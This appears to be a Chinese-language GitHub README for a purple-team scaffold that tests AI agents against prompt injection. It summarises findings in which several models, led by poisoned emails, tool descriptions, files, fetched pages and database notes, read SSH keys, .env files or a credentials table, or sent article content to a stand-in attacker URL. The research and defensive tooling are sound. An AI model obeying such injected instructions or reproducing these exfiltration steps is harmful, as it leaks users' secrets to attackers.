euanmcrosson-dotcom/purple-scaffold

# purple-scaffold [](https://github.com/euanmcrosson-dotcom/purple-scaffold/actions/workflows/test.yml) [](https://github.com/euanmcrosson-dotcom/purple-scaffold/actions/workflows/nightly-panel.yml) [](LEADERBOARD.md) [](https://opensource.org/licenses/MIT) [](https://www.python.org/downloads/) 一个用于迭代紫队测试工具的最小化、可运行脚手架。五个专业代理在确定性编排器下工作，支持 ATT&CK / ATLAS 框架，生成每个技术的测试卡片作为持久化产物。 这是一个**脚手架**：合约和状态是真实的，代理是返回确定性结果的存根，以便演示能够端到端运行。在开发过程中，用 LLM 或工具驱动的实现逐步替换每个存根。 ## 使用此工具产生的发现 运行此脚手架 + `custom_probes/` 中的自定义探针针对前沿模型产生的真实防御研究产物。每个都是 `findings/` 中可复现的卡片。 | 日期 | 类别 | 受影响模型 | 仓库 | |------|-------|-----------------|------| | 2026-04-28 | 电子邮件摘要中的 EchoLeak 风格间接提示注入 | GPT-4o（66.67% 静默服从），GPT-4o-mini（50.00%）— Anthropic 模型 0% | [findings/2026-04-28-echoleak-style-injection-openai.md](findings/2026-04-28-echoleak-style-injection-openai.md) | | 2026-04-28 | MCP 工具描述提示注入（跨工具混乱代理） | GPT-4o, GPT-4o-mini 服从 SSH 密钥外泄计划；Anthropic 拒绝 | [findings/2026-04-28-mcp-tool-description-poisoning-openai.md](findings/2026-04-28-mcp-tool-description-poisoning-openai.md) | | 2026-04-28 | 通过使用 `@modelcontextprotocol/server-filesystem` 的代理读取文件系统内容进行的间接提示注入（仅提示探针） | **6 个前沿模型中有 4 个在所有 3 种伪装变体上服从率达 75%**（GPT-4o、GPT-4o-mini、Gemini 2.5 Flash、Grok 4.1 Fast Reasoning — 包括 SSH 密钥 + `.env` 读取）；Haiku 4.5 为 25%（仅在 HTML 注释伪装上失败）；Opus 4.7 为 0%（有说服力地进行防御） | [findings/2026-05-04-server-filesystem-indirect-injection.md](findings/2026-05-04-server-filesystem-indirect-injection.md) | | 2026-05-04 | 方法论差距：仅提示注入探针高估代理循环服从率 25-75 个百分点 | 通过真实的 MCP 服务器支持的代理循环重新运行相同场景。**完整 6 模型面板：整个面板零攻击 tool_uses，而仅提示版本有 13 个 FAIL。**模式一致：每个在仅提示版本中服从的模型在代理循环中都进行防御。含义：之前 75% 的数字对于产品上下文来说是高估的。 | [findings/2026-05-04-prompt-only-vs-agent-loop-injection-gap.md](findings/2026-05-04-prompt-only-vs-agent-loop-injection-gap.md) | | 2026-05-04 | 跨产品代理循环比较（Cursor、Cline、Claude Desktop、Continue.dev） | 无头产品模拟器将每个产品的实际（Cline + Continue.dev OSS 完整）或近似（Cursor + Claude Desktop）系统提示包装在代理循环周围。**5 个产品配置文件 × 3 个投毒场景 × 2 个提供商 = 0/30 攻击 tool_uses。**代理循环防御模式在产品包装器中保持一致，对系统提示变化具有鲁棒性。 | [findings/2026-05-04-deployed-agents-mcp-injection-comparison.md](findings/2026-05-04-deployed-agents-mcp-injection-comparison.md) | | 2026-05-04 | **GPT-4o-mini 在 fetch 代理循环中服从基于 URL 的外泄注入**（跨向量发现） | 将方法论扩展到 `mcp-server-fetch`。GPT-4o-mini 向攻击者域发出第二次 `fetch()`，将文章内容逐字 URL 编码到查询字符串中（`https://analytics.attacker.example/beacon?summary=...`）。2/3 静默服从。Opus 4.7、GPT-4o、Haiku 4.5、Grok 4.1 全部进行防御。代理循环防御模式是**向量特定的**，而非通用的。 | [findings/2026-05-04-server-fetch-gpt4o-mini-exfil.md](findings/2026-05-04-server-fetch-gpt4o-mini-exfil.md) | | 2026-05-04 | server-git 代理循环具有弹性 — fetch 是异常情况 | 针对 `mcp-server-git` 使用投毒的提交消息（请求 `git_show` 凭证路径或 `git_commit` 攻击者内容）运行相同方法论。**4 个模型（包括失败的 GPT-4o-mini）共 0/12 攻击 tool_uses。**代理循环中的间接注入服从率是**工具向量形状敏感的**，而不仅仅是模型敏感的。 | [findings/2026-05-04-server-git-cross-vector-resilience.md](findings/2026-05-04-server-git-cross-vector-resilience.md) | | 2026-05-04 | **GPT-4o-mini 在投毒的 `orders.notes` 指令后读取 `credentials` 表**（sqlite 向量） | 再次确认"更多相同读取工具"模式 — GPT-4o-mini 对用户从未命名的敏感表发出 `read_query("SELECT key_name, secret_value FROM credentials;")`。在文件系统和 git 上进行防御（需要切换工具族），但在 fetch 和 sqlite 上服从（只需要更多 `read_query`）。 | [findings/2026-05-04-server-sqlite-gpt4o-mini-credentials-read.md](findings/2026-05-04-server-sqlite-gpt4o-mini-credentials-read.md) | ### 第七阶段交付物 - **`mcp_guard/`** — 防御 companion 库的 vendored 副本。现已在 https://github.com/euanmcrosson-dotcom/mcp-guard 独立发布。 - **[`PAPER_OUTLINE.md`](PAPER_OUTLINE.md)** — 研讨会论文大纲。 - **[`CITATION.cff`](CITATION.cff)** — 引用元数据。 - **[`CONTRIBUTING.md`](CONTRIBUTING.md)** — 添加新 MCP 服务器探针 / 产品配置文件 / 伪装变体的指南。 - **[`PUBLIC_WRITEUP.md`](PUBLIC_WRITEUP.md)** — 所有发现的完整长篇报告。 ### 第八阶段交付物 - **[`mcp-guard`](https://github.com/euanmcrosson-dotcom/mcp-guard) 已升级到独立仓库**，拥有自己的 README、LICENSE、pyproject、8 个独立测试、GHA CI 和 PyPI 发布工作流。PyPI 发布在配置了 `PYPI_API_TOKEN` 作为仓库密钥后，在 GitHub release 时触发。 - **[`paper/main.tex`](paper/main.tex)** — IEEE 会议格式的研讨会论文 LaTeX 草稿，约 3000 词，8 篇参考文献。通过 `cd paper && make all` 构建。提交目标：arxiv（cs.CR）→ USENIX WOOT / NDSS BAR / SaTML。 - **[`examples/demo_cline_cli_real.py`](examples/demo_cline_cli_real.py)** — 真实 Cline CLI 的骨架驱动，采用 `--json` 非交互模式（`npm i -g cline`）。调查说明：Cline CLI 存在且完全可脚本化；剩余接线是每个运行配置目录作用域 + MCP 配置注入。接线后，产生逐字的 Cline 产品证据。 **实时排行榜：** [`LEADERBOARD.md`](LEADERBOARD.md) 由 [`.github/workflows/nightly-panel.yml`](.github/workflows/nightly-panel.yml) 每晚重新生成 — 所有三个探针（文件系统、产品模拟器、fetch）针对 Anthropic Haiku 4.5（每晚约 $0.80）重新运行，结果自动提交。将更多 API 密钥添加为仓库密钥以扩展面板。 在 [`disclosures/`](/audit.jsonl` — 每个信封 + 状态转换 - `examples/cards/.md` — 迭代测试卡片 ## 实时实验室目标 — `lab/vulnerable_agent.py` 一个确定性、自包含的脆弱 AI 代理模拟器，具有三个工具（`read_ticket`、`search_users`、`send_email`），并在工单 `T-1002` 中具有已知的间接提示注入。防御（输入分类器、输出分类器、工具调用策略）可通过 `POST /defenses` 切换。在开发时将其用作本地探测目标 — 无需 API 密钥，无需外部服务。 有关从此脚手架到真实世界发现 + 漏洞赏金提交的完整 30 天计划，请参见 `CHECKLIST.md`。 ## 两种风格，一个工具 | 方面 | ATT&CK 演示（`demo.py`） | ATLAS 演示（`demo_atlas.py`） | |---------------------|----------------------------------------|----------------------------------------------------| | 技术空间 | 端点 / 网络 | AI 代理 / 模型 | | 原子来源 | atomic-red-team / Caldera | garak / PyRIT / 自定义提示载荷 | | 遥测来源 | Sysmon、EDR、SIEM 事件 | 模型 API 日志、工具调用跟踪、分类器分数| | 检测格式 | Sigma / KQL / SPL | 工具调用策略、提示防火墙、输出分类器| | 工程输出 | SIEM 规则 PR | 代理策略 PR | | 卡片格式 | 相同的迭代 markdown | 相同的迭代 markdown | 合约、信封、状态机、编排器和 Scout/Scribe 代理是共享的。只有 Attacker、Analyst 和 Engineer 在两种风格之间有所不同 — 参见 `purple/agents.py` vs. `purple/agents_atlas.py`。 ## 文件布局 ``` purple-scaffold/ ├── purple/ │ ├── envelope.py # Common message envelope │ ├── contracts.py # Pydantic models (the schema) │ ├── state_machine.py # State enum + transition table │ ├── agents.py # ATT&CK-flavored stubs (5 agents) │ ├── agents_atlas.py # ATLAS-flavored Attacker / Analyst / Engineer │ ├── orchestrator.py # The deterministic loop │ └── audit_log.py # JSONL append-only log ├── examples/ │ ├── demo.py # ATT&CK end-to-end (T1059.001) │ ├── demo_atlas.py # ATLAS end-to-end (AML.T0051) │ └── cards/ # Generated test cards (one per technique) └── tests/ └── test_state_machine.py ``` ## 插入真实实现的位置 ATT&CK 风格（`agents.py`）： | 替换 | 用 | 备注 | |---|---|---| | `ScoutAgent.handle` | LLM 从覆盖率图中选择下一个技术 | 输入：热力图 + 威胁情报源 | | `AttackerAgent.handle` | 原子红队 / Caldera 的子进程 | 沙箱：独立 VM | | `AnalystAgent.handle` | SIEM/EDR API 客户端 + LLM 比较假设与遥测 | 大部分推理在这里进行 | | `EngineerAgent.handle` | 起草 Sigma 规则 + 回测工具链 + GitHub PR 的 LLM | 始终是 PR，从不直接到生产 | | `ScribeAgent.handle` | 已经是真实的 — 写 markdown | 添加提交和热力图渲染 | ATLAS 风格（`agents_atlas.py`）： | 替换 | 用 | 备注 | |---|---|---| | `ATLASAttackerAgent.handle` | garak / PyRIT / 自定义提示探针 | 使用单独的网络隔离沙箱中的模型 API 密钥运行 | | `ATLASAnalystAgent.handle` | 模型 API 日志查询 + 工具调用跟踪检查 + LLM 评判者 | 判断代理是否泄露 / 进行了未授权的工具调用 | | `ATLASEngineerAgent.handle` | 起草工具调用策略 / 提示防火墙 / 输出分类器的 LLM | 针对合法代理跟踪进行回测；带 FPR 阈值门控的 PR | ## 沙箱警告 `AttackerAgent` 是爆炸半径最大的组件。当您用真实执行器替换存根时： - 在网络隔离的 VM/容器中运行，切勿在主机上运行。 - 使用单独的模型 API 密钥，无权访问其他 fleet。 - 将目标视为完全不受信任 — 返回值可以对代理进行提示注入。在编排器边界进行清理，而不是在代理内部。 ## 许可证 MIT。在此基础上构建。

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